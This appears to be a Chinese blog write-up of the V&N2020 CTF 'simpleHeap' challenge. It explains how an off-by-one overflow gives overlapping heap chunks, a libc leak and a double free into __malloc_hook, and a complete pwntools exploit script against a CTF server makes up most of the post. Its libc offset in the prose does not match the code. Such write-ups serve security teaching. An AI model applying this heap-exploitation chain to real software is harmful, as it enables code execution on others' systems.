[V&N2020 公开赛]simpleHeap double free&overlapping

[V&N2020 公开赛]simpleHeap

安全检查

保护全开

 

 程序流程分析

add函数

输入size,在填充内容,有null字节溢出

 

 edit函数

my_input有单字节溢出,说明可以overlapping

 

 

show函数

打印内容

 

 delete函数

没有什么问题

 

 

漏洞利用分析

  1. edit有单字节溢出,所以可以创建4个堆,大小要为0x60(因为malloc_hook那的size是0x7f),调用edit再覆盖下一个堆的size,变为unsorted bin,再释放,便可以造成overlapping
  2. overlapping后,再通过linux的unsorted bin的malloc机制,系统会把适合的堆切割或直接分配,如果切割则会把剩下的堆继续留在unsorted bin中
  3. 通过打印2号堆,来打印unsorted bin的fd和bk指针所指的main_areana,然后减去88再减去0x3be760就可以活的libc地址
  4. 在通过double free,把地址申请到malloc_hook那,并挂上realloc和malloc的钩子即可
 1 from pwn import *
 2 
 3 context.log_level='debug'
 4 #p=process('./vn_pwn_simpleHeap')
 5 p=remote('node3.buuoj.cn',25209)
 6 elf=ELF('./vn_pwn_simpleHeap')
 7 libc=ELF('./libc-2.23.so')
 8 
 9 def add(size,content):
10     p.recvuntil('choice: ')
11     p.sendline('1')
12     p.recvuntil('size?')
13     p.sendline(str(size))
14     p.recvuntil('content:')
15     p.sendline(content)
16 
17 def edit(idx,content):
18      
19     p.sendline('2')
20     p.recvuntil('idx?')
21     p.sendline(str(idx))
22     p.recvuntil('content:')
23     p.sendline(content)
24 
25 def show(idx):
26     p.recvuntil('choice: ')
27     p.sendline('3')
28     p.recvuntil('idx?')
29     p.sendline(str(idx))
30 
31 def delete(idx):
32     p.recvuntil('choice: ')
33     p.sendline('4')
34     p.recvuntil('idx?')
35     p.sendline(str(idx))
36 
37 add(0x18,'pppp')
38 add(0x60,'pppp')
39 add(0x60,'pppp')
40 add(0x10,'pppp')
41 
42 #fake chunk
43 payload='p'*0x18+'\xe1'
44 edit(0,payload)
45 
46 delete(1)
47 
48 add(0x60,'pppp')
49 
50 #gdb.attach(p)
51 show(2)
52 
53 main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88
54 libc_base=main_arena-0x3c4b20
55 
56 
57 libc_one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
58 one_gadget=libc_base+libc_one_gadget[1]
59 malloc_hook=libc_base+libc.symbols['__malloc_hook']
60 realloc=libc_base+libc.symbols['__libc_realloc']
61 fake_chunk=malloc_hook-0x23
62 
63 add(0x60,'pppp')
64 delete(4)
65 
66 payload=p64(fake_chunk)
67 edit(2,payload)
68 
69 
70 
71 add(0x60,'pppp')
72 
73 
74 payload='p'*0xb+p64(one_gadget)+p64(realloc+13)
75 add(0x60,payload)
76 
77 
78 p.interactive()

 

posted @ 2020-10-28 19:10  PYozo_free  阅读(379)  评论(0编辑  收藏  举报